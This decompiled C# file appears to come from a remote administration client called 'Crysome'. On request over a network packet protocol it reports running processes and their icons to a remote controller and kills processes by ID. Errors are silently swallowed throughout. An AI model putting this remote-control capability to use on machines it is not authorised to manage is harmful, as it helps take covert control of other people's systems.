using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;

namespace Crysome.Client.Handlers;

public static class ProcessHandlers
{
	private const int MaxProcesses = 500;

	private const int IconSizePx = 16;

	private const uint PROCESS_QUERY_LIMITED_INFORMATION = 4096u;

	[DllImport("kernel32.dll", SetLastError = true)]
	private static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);

	[DllImport("kernel32.dll", SetLastError = true)]
	private static extern bool CloseHandle(IntPtr hObject);

	[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
	private static extern bool QueryFullProcessImageName(IntPtr hProcess, int dwFlags, StringBuilder lpExeName, ref int lpdwSize);

	public static void HandleGetProcessList(CrysomeClient client, IPacket packet)
	{
		//IL_0082: Unknown result type (might be due to invalid IL or missing references)
		//IL_0087: Unknown result type (might be due to invalid IL or missing references)
		//IL_0093: Expected O, but got Unknown
		//IL_004a: Unknown result type (might be due to invalid IL or missing references)
		//IL_0054: Expected O, but got Unknown
		List<ProcessListEntry> list = new List<ProcessListEntry>();
		try
		{
			foreach (Process item in Process.GetProcesses().Take(500))
			{
				try
				{
					string text = item.ProcessName ?? "";
					int id = item.Id;
					byte[] processIcon = GetProcessIcon(item);
					list.Add(new ProcessListEntry(text, id, processIcon));
				}
				catch
				{
				}
				finally
				{
					try
					{
						item.Dispose();
					}
					catch
					{
					}
				}
			}
		}
		catch (Exception)
		{
		}
		client.SendPacket((IPacket)new GetProcessListResponsePacket
		{
			Processes = list
		});
	}

	public static void HandleKillProcess(CrysomeClient client, IPacket packet)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_0007: Expected O, but got Unknown
		KillProcessRequestPacket val = (KillProcessRequestPacket)packet;
		try
		{
			Process.GetProcessById(val.Pid).Kill();
		}
		catch (Exception)
		{
		}
	}

	private static byte[] GetProcessIcon(Process proc)
	{
		try
		{
			string processPath = GetProcessPath(proc.Id);
			if (string.IsNullOrEmpty(processPath) || !File.Exists(processPath))
			{
				return new byte[0];
			}
			using Icon icon = Icon.ExtractAssociatedIcon(processPath);
			if (icon == null)
			{
				return new byte[0];
			}
			using Bitmap bitmap = new Bitmap(16, 16);
			using Graphics graphics = Graphics.FromImage(bitmap);
			graphics.InterpolationMode = InterpolationMode.HighQualityBicubic;
			graphics.DrawIcon(icon, new Rectangle(0, 0, 16, 16));
			using MemoryStream memoryStream = new MemoryStream();
			bitmap.Save(memoryStream, ImageFormat.Png);
			return memoryStream.ToArray();
		}
		catch
		{
			return new byte[0];
		}
	}

	private static string GetProcessPath(int pid)
	{
		try
		{
			using Process process = Process.GetProcessById(pid);
			return process.MainModule?.FileName;
		}
		catch
		{
		}
		StringBuilder stringBuilder = new StringBuilder(1024);
		IntPtr intPtr = OpenProcess(4096u, bInheritHandle: false, pid);
		if (intPtr == IntPtr.Zero)
		{
			return null;
		}
		try
		{
			int lpdwSize = stringBuilder.Capacity;
			if (QueryFullProcessImageName(intPtr, 0, stringBuilder, ref lpdwSize))
			{
				return stringBuilder.ToString();
			}
		}
		finally
		{
			CloseHandle(intPtr);
		}
		return null;
	}
}
